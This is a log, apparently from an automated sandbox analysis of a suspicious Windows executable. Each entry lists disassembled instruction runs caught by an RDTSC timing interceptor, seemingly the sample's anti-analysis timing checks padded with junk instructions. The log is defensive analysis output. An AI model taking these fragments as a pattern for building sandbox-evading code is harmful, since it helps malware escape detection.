Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48470 second address: E48476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E485CB second address: E485F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42026h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1504B4201Ch 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E485F3 second address: E485FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1504DFF446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48725 second address: E4872F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4872F second address: E48735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48735 second address: E48742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F1504B42016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48742 second address: E4874C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1504DFF446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DE7D second address: E4DE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DE82 second address: E4DE89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DE89 second address: E4DE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DE92 second address: E4DECC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1504DFF44Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1504DFF456h 0x0000001a jnl 00007F1504DFF446h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DECC second address: E4DED6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1504B42016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DED6 second address: E4DEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DEDC second address: E4DEE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F1504B42016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4DEE7 second address: E4DEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E03D second address: E4E041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E041 second address: E4E047 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E047 second address: E4E054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F1504B42016h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E054 second address: E4E081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF453h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1504DFF453h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E1F7 second address: E4E218 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1504B42027h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4E4EE second address: E4E4F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E527C2 second address: E527C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E52AA6 second address: E52AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E52BD3 second address: E52BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E52BDE second address: E52BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E52D46 second address: E52D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E56629 second address: E5664D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1504DFF453h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F1504DFF448h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5C69D second address: E5C6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D075 second address: E5D07B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D07B second address: E5D07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D07F second address: E5D0B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1504DFF44Ch 0x00000013 js 00007F1504DFF446h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jnp 00007F1504DFF446h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D0B3 second address: E5D0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF4AEE second address: DF4B01 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D8B3 second address: E5D8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1504B42022h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5D8CC second address: E5D8EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ah 0x00000007 je 00007F1504DFF446h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1504DFF44Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5E179 second address: E5E17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E5E17F second address: E5E187 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E670F9 second address: E6710D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E674B6 second address: E674D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF456h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E67665 second address: E67687 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F1504B42029h 0x0000000c jmp 00007F1504B42021h 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E67687 second address: E6768D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E68EDC second address: E68EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E68EE5 second address: E68EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F496 second address: E6F4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007F1504B4201Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F630 second address: E6F634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F634 second address: E6F65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42025h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F1504B4201Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F65B second address: E6F661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F661 second address: E6F665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F665 second address: E6F66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F66B second address: E6F68A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1504B4201Eh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F68A second address: E6F693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6F693 second address: E6F69D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1504B42016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E6FC46 second address: E6FC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E703CA second address: E703D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1504B42016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E70ADB second address: E70ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E70ADF second address: E70AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42022h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E782B4 second address: E782B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E782B8 second address: E782CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E782CD second address: E782E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1504DFF44Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E782E6 second address: E782EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E782EA second address: E78314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1504DFF458h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E78314 second address: E7831F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E86321 second address: E8633F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF452h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E860C5 second address: E860CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E860CB second address: E860E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1504DFF44Bh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E860E4 second address: E860E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E8EF25 second address: E8EF2F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1504DFF44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E96152 second address: E96156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E96156 second address: E9615A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E9615A second address: E96176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F1504B4201Eh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jne 00007F1504B42016h 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E97F94 second address: E97F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E97DEC second address: E97E07 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F1504B4201Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F1504B42016h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E9B69E second address: E9B6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA1F23 second address: EA1F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0A96 second address: EA0A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0A9A second address: EA0AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0AA5 second address: EA0AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F1504DFF446h 0x0000000e popad 0x0000000f je 00007F1504DFF459h 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0C19 second address: EA0C26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F1504B42016h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0EBA second address: EA0EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1504DFF459h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA0EDF second address: EA0EE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA11C1 second address: EA11E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F1504DFF44Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F1504DFF446h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1504DFF452h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EA11E9 second address: EA11F3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1504B4201Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EB3749 second address: EB3764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EB3764 second address: EB377A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504B42022h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC2C5B second address: EC2C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F1504DFF446h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC2AC3 second address: EC2AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F1504B42016h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC2AD2 second address: EC2AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC2AD6 second address: EC2AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1504B42016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC4CEF second address: EC4CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EC48D8 second address: EC48DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB19A second address: EDB1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB2D0 second address: EDB2D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB2D9 second address: EDB2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1504DFF446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB2E4 second address: EDB2F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 js 00007F1504B42016h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB2F1 second address: EDB30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jc 00007F1504DFF446h 0x0000000f jmp 00007F1504DFF44Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB30F second address: EDB32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1504B42021h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDB756 second address: EDB769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
